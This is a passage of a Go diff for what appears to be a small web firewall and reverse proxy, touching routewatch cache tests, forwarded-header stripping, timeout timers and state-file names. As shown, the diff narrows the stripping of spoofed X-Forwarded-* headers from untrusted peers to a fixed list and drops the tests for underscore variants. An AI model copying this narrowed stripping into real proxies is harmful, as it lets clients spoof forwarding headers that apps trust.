Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
|
|
||||||
Answered: now.Add(-time.Hour),
|
|
||||||
}
|
|
||||||
|
|
||||||
f.client.Load([]routewatch.Answer{kept, stale})
|
|
||||||
|
|
||||||
if got := f.client.Snapshot(); !slices.Equal(got, []routewatch.Answer{kept}) {
|
|
||||||
t.Errorf("kept %+v, want only the answer that came less than an hour ago", got)
|
|
||||||
}
|
|
||||||
|
|
||||||
route, missing := f.route()
|
|
||||||
|
|
||||||
want := routewatch.Route{Netblock: kept.Netblock, ASN: kept.ASN}
|
|
||||||
if route != want || missing != "" {
|
|
||||||
t.Errorf("route %+v (%q), want %+v", route, missing, want)
|
|
||||||
}
|
|
||||||
|
|
||||||
if got := f.queries.Load(); got != 0 {
|
|
||||||
t.Errorf("%d queries for a client with an answer loaded, want none", got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestLoadDropsTheAnswerThatCameLongestAgoFirst(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const maxAnswers = 100000
|
|
||||||
|
|
||||||
f := newFixture(t, answering(routedAnswer))
|
|
||||||
now := f.clk.Now()
|
|
||||||
|
|
||||||
// routewatch.json lists the answers by client. Here each came a
|
|
||||||
// millisecond before the one listed before it, so the last listed is
|
|
||||||
// the one that came longest ago, and the one dropped.
|
|
||||||
answers := make([]routewatch.Answer, maxAnswers+1)
|
|
||||||
addr := netip.MustParseAddr("10.0.0.0")
|
|
||||||
|
|
||||||
for i := range answers {
|
|
||||||
answers[i] = routewatch.Answer{
|
|
||||||
Client: netip.PrefixFrom(addr, addr.BitLen()),
|
|
||||||
Answered: now.Add(-time.Duration(i) * time.Millisecond),
|
|
||||||
}
|
|
||||||
addr = addr.Next()
|
|
||||||
}
|
|
||||||
|
|
||||||
f.client.Load(answers)
|
|
||||||
|
|
||||||
got := f.client.Snapshot()
|
|
||||||
if len(got) != maxAnswers {
|
|
||||||
t.Fatalf("%d answers kept, want %d", len(got), maxAnswers)
|
|
||||||
}
|
|
||||||
|
|
||||||
if got[0] != answers[0] || got[maxAnswers-1] != answers[maxAnswers-1] {
|
|
||||||
t.Errorf("answers kept from %s to %s, want from %s to %s", got[0].Client,
|
|
||||||
got[maxAnswers-1].Client, answers[0].Client, answers[maxAnswers-1].Client)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -105,14 +105,15 @@ func setForwardedHeaders(in, out *http.Request, peer netip.Addr, trusted bool) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// An app behind CGI or FastCGI reads X_Forwarded_Ssl as X-Forwarded-Ssl, so
|
// ReverseProxy has removed Forwarded and the three set below; these are the
|
||||||
// a name is matched with each _ read as - and in any letter case.
|
// other headers in which traefik tells the app about the visitor and its
|
||||||
for name := range out.Header {
|
// request.
|
||||||
spelt := strings.ToLower(strings.ReplaceAll(name, "_", "-"))
|
for _, name := range []string{
|
||||||
if strings.HasPrefix(spelt, "x-forwarded-") ||
|
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
|
||||||
spelt == "forwarded" || spelt == "x-real-ip" {
|
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
|
||||||
delete(out.Header, name)
|
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
|
||||||
}
|
} {
|
||||||
|
out.Header.Del(name)
|
||||||
}
|
}
|
||||||
|
|
||||||
out.Header.Set("X-Forwarded-For", forwardedFor)
|
out.Header.Set("X-Forwarded-For", forwardedFor)
|
||||||
|
|||||||
@@ -382,20 +382,6 @@ type deadlineRecorder struct {
|
|||||||
// stalled, if set, sends the part of the request body that never arrives. A
|
// stalled, if set, sends the part of the request body that never arrives. A
|
||||||
// read deadline that has passed ends a read of it, as on a connection.
|
// read deadline that has passed ends a read of it, as on a connection.
|
||||||
stalled *io.PipeWriter
|
stalled *io.PipeWriter
|
||||||
// flushError, if set, is what every flush returns, and nothing is flushed.
|
|
||||||
flushError error
|
|
||||||
}
|
|
||||||
|
|
||||||
// FlushError, which http.ResponseController calls to flush, returns flushError
|
|
||||||
// if it is set, and otherwise flushes.
|
|
||||||
func (w *deadlineRecorder) FlushError() error {
|
|
||||||
if w.flushError != nil {
|
|
||||||
return w.flushError
|
|
||||||
}
|
|
||||||
|
|
||||||
w.Flush()
|
|
||||||
|
|
||||||
return nil
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// SetReadDeadline notes deadline.
|
// SetReadDeadline notes deadline.
|
||||||
@@ -461,45 +447,6 @@ func TestABodyLeftUnreadIsReadOnlyUntilTheRequestTimeLimit(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestABodyLeftUnreadIsReadNoMoreOnceTheTimeToSendTheAnswerRunsOut(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
standIn := startWAF(t, allow)
|
|
||||||
app := startApp(t, answerBeforeTheBody)
|
|
||||||
_, _, server := startServer(t, standIn.URL, app.URL, nil)
|
|
||||||
|
|
||||||
// The visitor sends the first part and a little more, and then nothing.
|
|
||||||
stalled, stop := io.Pipe()
|
|
||||||
|
|
||||||
t.Cleanup(func() { _ = stop.Close() })
|
|
||||||
|
|
||||||
req := httptest.NewRequestWithContext(t.Context(), http.MethodPost, "/",
|
|
||||||
io.MultiReader(bytes.NewReader(make([]byte, questionBodyMaxBytes+1)), stalled))
|
|
||||||
req.ContentLength = 2 * questionBodyMaxBytes
|
|
||||||
req.Header.Set(contentLengthHeader, strconv.Itoa(2*questionBodyMaxBytes))
|
|
||||||
|
|
||||||
// Every flush fails, as once the time to send the answer has run out. The
|
|
||||||
// default time limits are far longer than the test, so rproxy records no
|
|
||||||
// refusal.
|
|
||||||
w := &deadlineRecorder{
|
|
||||||
ResponseRecorder: httptest.NewRecorder(),
|
|
||||||
stalled: stop,
|
|
||||||
flushError: os.ErrDeadlineExceeded,
|
|
||||||
}
|
|
||||||
|
|
||||||
before := time.Now()
|
|
||||||
|
|
||||||
server.Handler.ServeHTTP(w, req)
|
|
||||||
|
|
||||||
if w.Code != http.StatusOK {
|
|
||||||
t.Errorf("status %d, want the app's 200", w.Code)
|
|
||||||
}
|
|
||||||
|
|
||||||
if w.readDeadline.Before(before) || w.readDeadline.After(time.Now()) {
|
|
||||||
t.Errorf("the reading of the body ends at %s, want now", w.readDeadline)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
|
func TestAnAnswerRProxyGivesItselfHasTheResponseTimeToBeSent(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -860,10 +807,8 @@ func TestAVisitorThatStopsSendingAfterTheAppHasAnsweredGetsTheAnswer(t *testing.
|
|||||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||||
_, _ = io.WriteString(w, greeting)
|
_, _ = io.WriteString(w, greeting)
|
||||||
})
|
})
|
||||||
// The request time limit is far longer than dial's deadline, so that a busy
|
|
||||||
// host cannot use it up before the app's answer arrives.
|
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
maxRequestTime: "120000",
|
maxRequestTime: "3000",
|
||||||
})
|
})
|
||||||
|
|
||||||
// Far more announced than sent, so that Go's server answers for the app
|
// Far more announced than sent, so that Go's server answers for the app
|
||||||
@@ -924,11 +869,11 @@ func TestAVisitorThatStopsALittleShortGetsTheAppsAnswerAtOnce(t *testing.T) {
|
|||||||
|
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
app := startApp(t, answerBeforeTheBody)
|
app := startApp(t, answerBeforeTheBody)
|
||||||
// Both time limits are far longer than dial's deadline, so that the answer
|
// The request time limit is longer than the 10 seconds the status and headers
|
||||||
// has to come before either runs out, and a busy host cannot use them up.
|
// of an answer have to be sent, and than dial's deadline.
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
||||||
maxRequestTime: "120000",
|
maxRequestTime: "15000",
|
||||||
maxResponseTime: "60000",
|
maxResponseTime: "300",
|
||||||
})
|
})
|
||||||
|
|
||||||
conn := dial(t, addr)
|
conn := dial(t, addr)
|
||||||
@@ -965,77 +910,6 @@ func TestAVisitorThatStopsALittleShortIsReadUntilTheRequestTimeLimit(t *testing.
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestAVisitorThatStopsALittleShortHasTheConnectionClosedWhenTheAnswerIsCutOff(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// rproxy passes on a part sent at once well within this limit, even on a busy
|
|
||||||
// host.
|
|
||||||
const limit = 2 * time.Second
|
|
||||||
|
|
||||||
// The app sends the parts in atOnce with its status and headers. It sends the
|
|
||||||
// parts in late only once rproxy has ended the request to it, which rproxy
|
|
||||||
// does when it cuts off the answer, so that those never reach the visitor.
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name string
|
|
||||||
atOnce, late []string
|
|
||||||
}{
|
|
||||||
{"with the body in one part", nil, []string{greeting}},
|
|
||||||
{"with the body in two parts", []string{greeting[:5]}, []string{greeting[5:]}},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
standIn := startWAF(t, allow)
|
|
||||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
|
||||||
rc := http.NewResponseController(w)
|
|
||||||
_ = rc.EnableFullDuplex()
|
|
||||||
|
|
||||||
w.Header().Set(contentLengthHeader, strconv.Itoa(len(greeting)))
|
|
||||||
|
|
||||||
for _, part := range tc.atOnce {
|
|
||||||
_, _ = io.WriteString(w, part)
|
|
||||||
}
|
|
||||||
|
|
||||||
_ = rc.Flush()
|
|
||||||
|
|
||||||
// The request's body ends when rproxy ends the request to the app.
|
|
||||||
_, _ = io.Copy(io.Discard, r.Body)
|
|
||||||
|
|
||||||
for _, part := range tc.late {
|
|
||||||
_, _ = io.WriteString(w, part)
|
|
||||||
_ = rc.Flush()
|
|
||||||
}
|
|
||||||
})
|
|
||||||
|
|
||||||
// The request time limit is far longer than dial's deadline.
|
|
||||||
addr, _ := startRProxy(t, standIn.URL, app.URL, map[string]string{
|
|
||||||
maxRequestTime: "120000",
|
|
||||||
maxResponseTime: strconv.FormatInt(limit.Milliseconds(), 10),
|
|
||||||
})
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
|
||||||
sendAllButALittle(t, conn)
|
|
||||||
|
|
||||||
res, err := http.ReadResponse(bufio.NewReader(conn), nil)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("read the answer: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
// If the connection stays open, dial's deadline ends this read with a
|
|
||||||
// timeout.
|
|
||||||
body, err := io.ReadAll(res.Body)
|
|
||||||
_ = res.Body.Close()
|
|
||||||
|
|
||||||
want := strings.Join(tc.atOnce, "")
|
|
||||||
if string(body) != want || !errors.Is(err, io.ErrUnexpectedEOF) {
|
|
||||||
t.Errorf("read %q (%v), want %q and the connection closed", body, err, want)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
|
func TestAVisitorThatStopsSendingWhileTheAppWorksGetsNoAnswer(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
+13
-42
@@ -272,10 +272,6 @@ func (rq *request) modifyResponse(res *http.Response) error {
|
|||||||
|
|
||||||
rq.closeAfterAnswer()
|
rq.closeAfterAnswer()
|
||||||
|
|
||||||
// An answer that arrives before the app has been sent the whole request ends
|
|
||||||
// the request, and SWRP_MAX_RESPONSE_TIME_MS starts.
|
|
||||||
rq.startResponseTimer(requestEnd)
|
|
||||||
|
|
||||||
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
|
res.Body = &responseBody{body: limitBody(res.Body, maxBytes), rq: rq}
|
||||||
rq.out.afterStatus = rq.setResponseDeadline
|
rq.out.afterStatus = rq.setResponseDeadline
|
||||||
|
|
||||||
@@ -388,23 +384,8 @@ func (rq *request) refuse(status int) {
|
|||||||
func (rq *request) finish(ctx context.Context) {
|
func (rq *request) finish(ctx context.Context) {
|
||||||
rq.stopTimers()
|
rq.stopTimers()
|
||||||
|
|
||||||
// After a cut-off answer, the reading of a body that has not arrived whole
|
if rq.refused.Load() == 0 {
|
||||||
// ends now. Go's server would otherwise keep the connection open while it
|
rq.stopPassingOnBody()
|
||||||
// reads the rest. modifyResponse sets afterStatus only when it passes the
|
|
||||||
// app's answer on. Any refusal after that has cut the answer off, since a
|
|
||||||
// refusal ends the request to the app. Any answer is cut off when the time to
|
|
||||||
// send it runs out: a flush then fails, and every flush after a failed one
|
|
||||||
// fails too. ReverseProxy ignores the failure, but panics if it was still
|
|
||||||
// waiting for more of the app's answer; finish runs either way. Before a
|
|
||||||
// status, a flush would send a 200; after a 101, ReverseProxy has taken over
|
|
||||||
// the connection.
|
|
||||||
switch {
|
|
||||||
case rq.out.afterStatus != nil && rq.refused.Load() != 0,
|
|
||||||
rq.out.status != 0 && rq.out.status != http.StatusSwitchingProtocols &&
|
|
||||||
errors.Is(rq.rc.Flush(), os.ErrDeadlineExceeded):
|
|
||||||
rq.stopPassingOnBody(time.Now())
|
|
||||||
case rq.refused.Load() == 0:
|
|
||||||
rq.stopPassingOnBody(rq.requestDeadline())
|
|
||||||
}
|
}
|
||||||
|
|
||||||
requestEnd := rq.endRequest()
|
requestEnd := rq.endRequest()
|
||||||
@@ -492,10 +473,10 @@ func (rq *request) stopReadingBody(deadline time.Time) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
// stopPassingOnBody ends the transport's reading of a visitor's body that has
|
||||||
// not arrived whole, and lets Go's server read the rest until deadline. Go's
|
// not arrived whole, and lets Go's server read the rest until
|
||||||
// server reads it once the handler returns, but with no deadline at all if
|
// SWRP_MAX_REQUEST_TIME_MS runs out. Go's server reads it once the handler
|
||||||
// another read of it is still waiting.
|
// returns, but with no deadline at all if another read of it is still waiting.
|
||||||
func (rq *request) stopPassingOnBody(deadline time.Time) {
|
func (rq *request) stopPassingOnBody() {
|
||||||
if rq.body == nil || rq.body.received.Load() {
|
if rq.body == nil || rq.body.received.Load() {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
@@ -508,7 +489,7 @@ func (rq *request) stopPassingOnBody(deadline time.Time) {
|
|||||||
rq.body.stopped = true
|
rq.body.stopped = true
|
||||||
rq.body.mu.Unlock()
|
rq.body.mu.Unlock()
|
||||||
|
|
||||||
rq.stopReadingBody(deadline)
|
rq.stopReadingBody(rq.requestDeadline())
|
||||||
}
|
}
|
||||||
|
|
||||||
// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
|
// startRequestTimer starts SWRP_MAX_REQUEST_TIME_MS, which runs from the
|
||||||
@@ -560,30 +541,20 @@ func (rq *request) wroteRequest(info httptrace.WroteRequestInfo) {
|
|||||||
|
|
||||||
requestEnd := rq.endRequest()
|
requestEnd := rq.endRequest()
|
||||||
|
|
||||||
rq.mu.Lock()
|
|
||||||
stopTimer(rq.requestTimer)
|
|
||||||
rq.mu.Unlock()
|
|
||||||
|
|
||||||
rq.startResponseTimer(requestEnd)
|
|
||||||
}
|
|
||||||
|
|
||||||
// startResponseTimer starts SWRP_MAX_RESPONSE_TIME_MS, which runs from
|
|
||||||
// requestEnd, unless it has started already.
|
|
||||||
func (rq *request) startResponseTimer(requestEnd time.Time) {
|
|
||||||
limit := rq.h.config.MaxResponseTime
|
|
||||||
if limit == 0 {
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.mu.Lock()
|
rq.mu.Lock()
|
||||||
defer rq.mu.Unlock()
|
defer rq.mu.Unlock()
|
||||||
|
|
||||||
if rq.timersStopped || rq.responseTimer != nil {
|
if rq.timersStopped {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
stopTimer(rq.requestTimer)
|
||||||
|
|
||||||
|
limit := rq.h.config.MaxResponseTime
|
||||||
|
if limit > 0 {
|
||||||
rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
|
rq.responseTimer = time.AfterFunc(time.Until(requestEnd.Add(limit)),
|
||||||
rq.responseTimedOut)
|
rq.responseTimedOut)
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
|
// responseTimedOut is called when SWRP_MAX_RESPONSE_TIME_MS runs out before the
|
||||||
|
|||||||
@@ -559,9 +559,6 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
|
|||||||
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
|
"X-Forwarded-Port", "X-Forwarded-Server", "X-Forwarded-Uri",
|
||||||
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
|
"X-Forwarded-Method", "X-Forwarded-Prefix", "X-Forwarded-Tls-Client-Cert",
|
||||||
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
|
"X-Forwarded-Tls-Client-Cert-Info", "X-Real-Ip",
|
||||||
"X-Forwarded-Scheme", "X-Forwarded-Ssl", "X-Forwarded-Protocol",
|
|
||||||
"X-Forwarded-Path", "X-Forwarded-Client-Cert",
|
|
||||||
"X_Forwarded_Ssl", "X_Forwarded_Proto", "X_Real_IP",
|
|
||||||
}
|
}
|
||||||
|
|
||||||
standIn := startWAF(t, allow)
|
standIn := startWAF(t, allow)
|
||||||
@@ -585,9 +582,6 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
|
|||||||
req.Header.Set(name, "claimed")
|
req.Header.Set(name, "claimed")
|
||||||
}
|
}
|
||||||
|
|
||||||
// A made-up name, sent in lower case.
|
|
||||||
req.Header["x-forwarded-made-up"] = []string{"claimed"}
|
|
||||||
|
|
||||||
wantGreeting(t, visit(t, req))
|
wantGreeting(t, visit(t, req))
|
||||||
|
|
||||||
header := <-seen
|
header := <-seen
|
||||||
@@ -602,7 +596,7 @@ func TestAPeerNotTrustedHasItsForwardedHeadersReplaced(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for _, name := range append(removed, "X-Forwarded-Made-Up") {
|
for _, name := range removed {
|
||||||
if got := header.Values(name); len(got) != 0 {
|
if got := header.Values(name); len(got) != 0 {
|
||||||
t.Errorf("the app saw %s %q, want none", name, got)
|
t.Errorf("the app saw %s %q, want none", name, got)
|
||||||
}
|
}
|
||||||
@@ -628,8 +622,6 @@ func TestATrustedProxysForwardedHeadersPassOn(t *testing.T) {
|
|||||||
"X-Forwarded-Host": "public.example",
|
"X-Forwarded-Host": "public.example",
|
||||||
forwardedProtoHeader: "https",
|
forwardedProtoHeader: "https",
|
||||||
"X-Real-Ip": "198.51.100.1",
|
"X-Real-Ip": "198.51.100.1",
|
||||||
"X-Forwarded-Ssl": "on",
|
|
||||||
"X_Forwarded_Ssl": "on",
|
|
||||||
}
|
}
|
||||||
|
|
||||||
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
|
||||||
@@ -1031,9 +1023,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
|
|||||||
w.WriteHeader(http.StatusInternalServerError)
|
w.WriteHeader(http.StatusInternalServerError)
|
||||||
_, _ = w.Write(make([]byte, size))
|
_, _ = w.Write(make([]byte, size))
|
||||||
})
|
})
|
||||||
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
|
addr, _ := startRProxy(t, standIn.URL, nowhere, nil)
|
||||||
timeoutSetting: "60000",
|
|
||||||
})
|
|
||||||
|
|
||||||
got := get(t, addr, "/")
|
got := get(t, addr, "/")
|
||||||
if got.status != http.StatusInternalServerError || len(got.body) != size {
|
if got.status != http.StatusInternalServerError || len(got.body) != size {
|
||||||
|
|||||||
+37
-141
@@ -4,7 +4,7 @@
|
|||||||
// The state files are in SWW_STATE_DIR:
|
// The state files are in SWW_STATE_DIR:
|
||||||
// - bans.json holds the bans;
|
// - bans.json holds the bans;
|
||||||
// - clients.json holds each client's counters and history;
|
// - clients.json holds each client's counters and history;
|
||||||
// - abuseipdb-checks-spent.json holds the AbuseIPDB checks spent today;
|
// - abuseipdb-checks.json holds the AbuseIPDB checks spent today;
|
||||||
// - alerts.json holds the cooldowns, the hour under way, the alerts
|
// - alerts.json holds the cooldowns, the hour under way, the alerts
|
||||||
// waiting for each destination and the anomaly counters.
|
// waiting for each destination and the anomaly counters.
|
||||||
//
|
//
|
||||||
@@ -14,8 +14,7 @@
|
|||||||
// - lists.json holds the last try and last good copy of each list
|
// - lists.json holds the last try and last good copy of each list
|
||||||
// fetched from a URL;
|
// fetched from a URL;
|
||||||
// - dnsbl.json holds the DNSBL zones' verdicts;
|
// - dnsbl.json holds the DNSBL zones' verdicts;
|
||||||
// - abuseipdb-scores.json holds AbuseIPDB's scores;
|
// - abuseipdb-scores.json holds AbuseIPDB's scores.
|
||||||
// - routewatch.json holds routewatch's answers.
|
|
||||||
//
|
//
|
||||||
// Load reads them at start, Watch takes in an admin's edit of one while
|
// Load reads them at start, Watch takes in an admin's edit of one while
|
||||||
// sww runs, and Run and WriteAll write them. The disk is read and
|
// sww runs, and Run and WriteAll write them. The disk is read and
|
||||||
@@ -50,7 +49,6 @@ import (
|
|||||||
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/routewatch"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// version is the version of the files' format, the only one read.
|
// version is the version of the files' format, the only one read.
|
||||||
@@ -64,7 +62,7 @@ const fileMode = 0o600
|
|||||||
const (
|
const (
|
||||||
bansJSON = "bans.json"
|
bansJSON = "bans.json"
|
||||||
clientsJSON = "clients.json"
|
clientsJSON = "clients.json"
|
||||||
abuseIPDBChecksSpentJSON = "abuseipdb-checks-spent.json"
|
abuseIPDBChecksJSON = "abuseipdb-checks.json"
|
||||||
alertsJSON = "alerts.json"
|
alertsJSON = "alerts.json"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -74,22 +72,21 @@ const (
|
|||||||
listsJSON = "lists.json"
|
listsJSON = "lists.json"
|
||||||
dnsblJSON = "dnsbl.json"
|
dnsblJSON = "dnsbl.json"
|
||||||
abuseIPDBScoresJSON = "abuseipdb-scores.json"
|
abuseIPDBScoresJSON = "abuseipdb-scores.json"
|
||||||
routeWatchJSON = "routewatch.json"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// fileNames returns the names of the state files, then those of the
|
// fileNames returns the names of the state files, then those of the
|
||||||
// cache files, in the order they are written.
|
// cache files, in the order they are written.
|
||||||
func fileNames() []string {
|
func fileNames() []string {
|
||||||
return []string{
|
return []string{
|
||||||
bansJSON, clientsJSON, abuseIPDBChecksSpentJSON, alertsJSON,
|
bansJSON, clientsJSON, abuseIPDBChecksJSON, alertsJSON,
|
||||||
lookupsJSON, listsJSON, dnsblJSON, abuseIPDBScoresJSON, routeWatchJSON,
|
lookupsJSON, listsJSON, dnsblJSON, abuseIPDBScoresJSON,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// isCacheFile reports whether name is the name of a cache file.
|
// isCacheFile reports whether name is the name of a cache file.
|
||||||
func isCacheFile(name string) bool {
|
func isCacheFile(name string) bool {
|
||||||
switch name {
|
switch name {
|
||||||
case lookupsJSON, listsJSON, dnsblJSON, abuseIPDBScoresJSON, routeWatchJSON:
|
case lookupsJSON, listsJSON, dnsblJSON, abuseIPDBScoresJSON:
|
||||||
return true
|
return true
|
||||||
default:
|
default:
|
||||||
return false
|
return false
|
||||||
@@ -120,18 +117,15 @@ type Params struct {
|
|||||||
// is (SWW_STATE_COUNTER_INTERVAL).
|
// is (SWW_STATE_COUNTER_INTERVAL).
|
||||||
WriteDelay time.Duration
|
WriteDelay time.Duration
|
||||||
CounterInterval time.Duration
|
CounterInterval time.Duration
|
||||||
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, RouteWatch, Alerts and
|
// Ledger, Limiter, GeoJS, Lists, DNSBL, AbuseIPDB, Alerts and Anomalies
|
||||||
// Anomalies hold the state. RouteWatch is nil while SWW_ROUTEWATCH_URL is
|
// hold the state. Alerts also receive a file_error alert for an edit set
|
||||||
// unset, and routewatch.json then holds no answers. Alerts also receive a
|
// aside, and for a write that fails while sww runs.
|
||||||
// file_error alert for an edit set aside, and for a write that fails while
|
|
||||||
// sww runs.
|
|
||||||
Ledger *bans.Ledger
|
Ledger *bans.Ledger
|
||||||
Limiter *ratelimit.Limiter
|
Limiter *ratelimit.Limiter
|
||||||
GeoJS *lookup.GeoJS
|
GeoJS *lookup.GeoJS
|
||||||
Lists *reputation.Lists
|
Lists *reputation.Lists
|
||||||
DNSBL *reputation.DNSBL
|
DNSBL *reputation.DNSBL
|
||||||
AbuseIPDB *reputation.AbuseIPDB
|
AbuseIPDB *reputation.AbuseIPDB
|
||||||
RouteWatch *routewatch.Client
|
|
||||||
Alerts *alerts.Queue
|
Alerts *alerts.Queue
|
||||||
Anomalies *anomaly.Counters
|
Anomalies *anomaly.Counters
|
||||||
// Now tells the time by which the counters' buckets run out, normally
|
// Now tells the time by which the counters' buckets run out, normally
|
||||||
@@ -191,9 +185,9 @@ type lookupsFile struct {
|
|||||||
Lookups []lookup.Answer `json:"lookups"`
|
Lookups []lookup.Answer `json:"lookups"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// abuseIPDBChecksSpentFile is abuseipdb-checks-spent.json, indented for an
|
// abuseIPDBChecksFile is abuseipdb-checks.json, indented for an admin to
|
||||||
// admin to read and edit.
|
// read and edit.
|
||||||
type abuseIPDBChecksSpentFile struct {
|
type abuseIPDBChecksFile struct {
|
||||||
Version int `json:"version"`
|
Version int `json:"version"`
|
||||||
Day civil.Date `json:"day,omitzero"`
|
Day civil.Date `json:"day,omitzero"`
|
||||||
Spent int `json:"spent"`
|
Spent int `json:"spent"`
|
||||||
@@ -219,12 +213,6 @@ type abuseIPDBScoresFile struct {
|
|||||||
Scores []reputation.Score `json:"scores"`
|
Scores []reputation.Score `json:"scores"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// routeWatchFile is routewatch.json, with each answer on a line of its own.
|
|
||||||
type routeWatchFile struct {
|
|
||||||
Version int `json:"version"`
|
|
||||||
Answers []routewatch.Answer `json:"answers"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// alertsFile is alerts.json, indented for an admin to read and edit.
|
// alertsFile is alerts.json, indented for an admin to read and edit.
|
||||||
//
|
//
|
||||||
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
//nolint:tagliatelle // the state files use snake_case, as the request log does
|
||||||
@@ -269,7 +257,7 @@ func Load(params Params) (*Files, error) {
|
|||||||
|
|
||||||
bansRead, bansErr := f.read(bansJSON)
|
bansRead, bansErr := f.read(bansJSON)
|
||||||
clientsRead, clientsErr := f.read(clientsJSON)
|
clientsRead, clientsErr := f.read(clientsJSON)
|
||||||
_, checksErr := f.read(abuseIPDBChecksSpentJSON)
|
_, checksErr := f.read(abuseIPDBChecksJSON)
|
||||||
alertsRead, alertsErr := f.read(alertsJSON)
|
alertsRead, alertsErr := f.read(alertsJSON)
|
||||||
|
|
||||||
err = errors.Join(bansErr, clientsErr, checksErr, alertsErr)
|
err = errors.Join(bansErr, clientsErr, checksErr, alertsErr)
|
||||||
@@ -281,9 +269,8 @@ func Load(params Params) (*Files, error) {
|
|||||||
listsRead := f.readCache(listsJSON)
|
listsRead := f.readCache(listsJSON)
|
||||||
f.readCache(dnsblJSON)
|
f.readCache(dnsblJSON)
|
||||||
f.readCache(abuseIPDBScoresJSON)
|
f.readCache(abuseIPDBScoresJSON)
|
||||||
f.readCache(routeWatchJSON)
|
|
||||||
|
|
||||||
params.ProcessLog.Info("read the state and cache files", "directory", params.Dir,
|
params.ProcessLog.Info("read the state files", "directory", params.Dir,
|
||||||
"cache_directory", params.CacheDir, "bans", bansRead, "clients", clientsRead,
|
"cache_directory", params.CacheDir, "bans", bansRead, "clients", clientsRead,
|
||||||
"lookups", lookupsRead, "lists", listsRead, "alerts_waiting", alertsRead)
|
"lookups", lookupsRead, "lists", listsRead, "alerts_waiting", alertsRead)
|
||||||
|
|
||||||
@@ -338,51 +325,28 @@ func (f *Files) WriteAll() error {
|
|||||||
// admin's edit of a file as soon as it is saved: what the file holds
|
// admin's edit of a file as soon as it is saved: what the file holds
|
||||||
// replaces what sww held for it. An edit that does not parse is left for
|
// replaces what sww held for it. An edit that does not parse is left for
|
||||||
// the file's next write, which sets it aside, since a file can be read
|
// the file's next write, which sets it aside, since a file can be read
|
||||||
